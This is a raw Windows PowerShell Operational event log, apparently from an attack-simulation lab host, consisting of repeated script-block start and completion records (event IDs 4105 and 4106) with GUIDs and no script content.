LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024655
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024654
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024653
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024652
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024631
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024626
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024625
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
